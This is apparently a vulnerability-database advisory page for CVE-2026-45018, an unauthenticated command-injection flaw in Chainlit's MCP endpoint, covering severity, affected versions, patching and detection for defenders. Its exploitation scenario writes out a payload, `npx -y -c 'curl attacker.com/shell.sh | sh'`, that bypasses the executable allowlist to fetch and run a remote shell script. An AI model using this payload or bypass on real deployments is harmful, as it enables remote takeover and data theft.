CVE-2026-45018: Chainlit: unauth RCE via MCP stdio cmd injection
GHSA-w3fx-mc44-mf6jCRITICALPoC AVAILABLECISA: ATTENDChainlit's optional MCP integration lets a client send a raw command string that the server hands to a subprocess, and because only the executable name (not the arguments) is checked against an allowlist, a request using `npx -y -c '<shell command>'` achieves full arbitrary code execution with no authentication required. This is a CVSS 9.8 unauthenticated RCE in a widely used AI chat/agent UI framework with 41 downstream dependents, and the endpoint (`/mcp`) is registered on every Chainlit deployment regardless of whether MCP is used, so exposure hinges entirely on a single config flag (`features.mcp.enabled`). There's no evidence yet of a public exploit, Nuclei template, EPSS score, or CISA KEV listing, but the vulnerability class (unauthenticated OS command injection with a documented, trivial-to-reproduce PoC) makes weaponization straightforward once attention lands on it. Patch to Chainlit 2.12.0, which removes client-supplied commands entirely in favor of developer-defined MCP servers; until then, set `features.mcp.enabled = false` or require authentication on `/mcp`, and audit any deployment where `allowed_executables` was left unset (it defaults to allow-all). Detection: look for outbound `npx`/`uvx` subprocess spawns from the Chainlit host and unexpected child processes off the Chainlit service.
What is the risk?
Critical. Exploitability is maximal for the subset of deployments with MCP enabled: no authentication, no user interaction, low attack complexity, and a documented working PoC that achieves shell execution before the MCP handshake even completes. The blast radius is capped by the fact that MCP has been off by default since v2.7.0, so most Chainlit installs are not exposed — but any team that turned it on for agent tool integrations (a common use case) is fully exposed, including via the secondary trap of an unset `allowed_executables` defaulting to allow-all. Absence from CISA KEV and no EPSS/public-exploit signal yet suggests this hasn't been mass-scanned, but the low complexity and unauthenticated path mean that window is likely short once the advisory and PoC circulate.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Chainlit | pip | >= 2.4.0rc0, <= 2.11.1 | 2.12.0 |
Do you use Chainlit? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 stepUpgrade to Chainlit 2.12.0, which eliminates the vulnerable pattern by moving MCP server definitions to
.chainlit/config.tomlunder[[features.mcp.servers]](developer-controlled, no client-supplied command string) — note this is a breaking config change requiring migration if you use legacy[features.mcp.sse/stdio/streamable-http]sections. If immediate upgrade isn't possible, setfeatures.mcp.enabled = false(fully closes this and the companion SSRF CVE-2026-45019), restrict outbound process-spawning from the host, and configure an auth callback so/mcprequires authentication. Post-upgrade, be aware that unauthenticated clients can still trigger spawning of developer-configured stdio servers by name if no auth callback is registered — configure authentication regardless of patch status. Detection: monitor fornpx/uvx/subprocess execution originating from the Chainlit service account, and audit.chainlit/config.tomlfor missing orNone-valuedallowed_executables.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-45018?
Chainlit's optional MCP integration lets a client send a raw command string that the server hands to a subprocess, and because only the executable name (not the arguments) is checked against an allowlist, a request using `npx -y -c '<shell command>'` achieves full arbitrary code execution with no authentication required. This is a CVSS 9.8 unauthenticated RCE in a widely used AI chat/agent UI framework with 41 downstream dependents, and the endpoint (`/mcp`) is registered on every Chainlit deployment regardless of whether MCP is used, so exposure hinges entirely on a single config flag (`features.mcp.enabled`). There's no evidence yet of a public exploit, Nuclei template, EPSS score, or CISA KEV listing, but the vulnerability class (unauthenticated OS command injection with a documented, trivial-to-reproduce PoC) makes weaponization straightforward once attention lands on it. Patch to Chainlit 2.12.0, which removes client-supplied commands entirely in favor of developer-defined MCP servers; until then, set `features.mcp.enabled = false` or require authentication on `/mcp`, and audit any deployment where `allowed_executables` was left unset (it defaults to allow-all). Detection: look for outbound `npx`/`uvx` subprocess spawns from the Chainlit host and unexpected child processes off the Chainlit service.
Is CVE-2026-45018 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2026-45018, increasing the risk of exploitation.
How to fix CVE-2026-45018?
Upgrade to Chainlit 2.12.0, which eliminates the vulnerable pattern by moving MCP server definitions to `.chainlit/config.toml` under `[[features.mcp.servers]]` (developer-controlled, no client-supplied command string) — note this is a breaking config change requiring migration if you use legacy `[features.mcp.sse/stdio/streamable-http]` sections. If immediate upgrade isn't possible, set `features.mcp.enabled = false` (fully closes this and the companion SSRF CVE-2026-45019), restrict outbound process-spawning from the host, and configure an auth callback so `/mcp` requires authentication. Post-upgrade, be aware that unauthenticated clients can still trigger spawning of developer-configured stdio servers by name if no auth callback is registered — configure authentication regardless of patch status. Detection: monitor for `npx`/`uvx`/subprocess execution originating from the Chainlit service account, and audit `.chainlit/config.toml` for missing or `None`-valued `allowed_executables`.
What systems are affected by CVE-2026-45018?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, LLM chat UI deployments, MCP-connected AI tool integrations.
What is the CVSS score for CVE-2026-45018?
CVE-2026-45018 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 1.09%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0049Exploit Public-Facing ApplicationAML.T0050Command and Scripting InterpreterAML.T0053AI Agent Tool InvocationCompliance Controls Affected
What are the technical details?
Original Advisory
Chainlit is a Python framework for building production-ready conversational AI applications. From 2.4.0rc0 until 2.12.0, Chainlit deployments with features.mcp.enabled set to true in .chainlit/config.toml expose the POST /mcp endpoint without requiring authentication. For stdio transport, the endpoint accepts a user-controlled fullCommand string. The validate_mcp_command() function in backend/chainlit/mcp.py checks only the executable name against config.features.mcp.stdio.allowed_executables and passes unchecked arguments to StdioServerParameters in backend/chainlit/server.py. Because npx supports the -c argument, an attacker can execute arbitrary shell commands with the privileges of the Chainlit process. If allowed_executables is unset, its None default is treated as allowing every executable. This issue is fixed in version 2.12.0.
Exploitation Scenario
An attacker discovers a Chainlit-based AI assistant exposed on the internet with MCP enabled (e.g., via fingerprinting or Shodan-style scanning for the Chainlit Socket.IO endpoint). They open a Socket.IO session against `/ws/socket.io/` to obtain a valid `sessionId` — no login required — then POST to `/mcp` with `clientType: stdio` and a `fullCommand` of `npx -y -c 'curl attacker.com/shell.sh | sh'`. The executable name `npx` passes the allowlist check, but its `-c` flag executes the attacker's arbitrary shell command before the MCP handshake completes, giving the attacker a reverse shell or dropped backdoor with the privileges of the Chainlit process — enabling data exfiltration from any connected vector stores/RAG data, lateral movement into the hosting environment, and persistence.
Weaknesses (CWE)
CWE-78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')PrimaryCWE-78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')PrimaryCWE-78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
- [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
- [Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HReferences
- github.com/Chainlit/chainlit/commit/0565fd0eccb915fce159929598b053ed79f6e0c9
- github.com/Chainlit/chainlit/releases/tag/2.12.0
- github.com/Chainlit/chainlit/security/advisories/GHSA-w3fx-mc44-mf6j
- github.com/advisories/GHSA-w3fx-mc44-mf6j
- github.com/Chainlit/chainlit/blob/2.12.0/docs/security-advisory-2026-mcp.md
Timeline
Related Vulnerabilities
CVE-2026-860998.2Chainlit: path traversal via sessionId wipes directories
Same package: chainlitCVE-2026-561048.2Chainlit: session hijacking via WebSocket restoration
Same package: chainlitCVE-2026-222197.7chainlit: SSRF allows internal network access
Same package: chainlitCVE-2026-450197.2Chainlit: unauth SSRF via MCP url/header injection
Same package: chainlitCVE-2026-822905.3Chainlit: IDOR lets users tamper with others' feedback
Same package: chainlit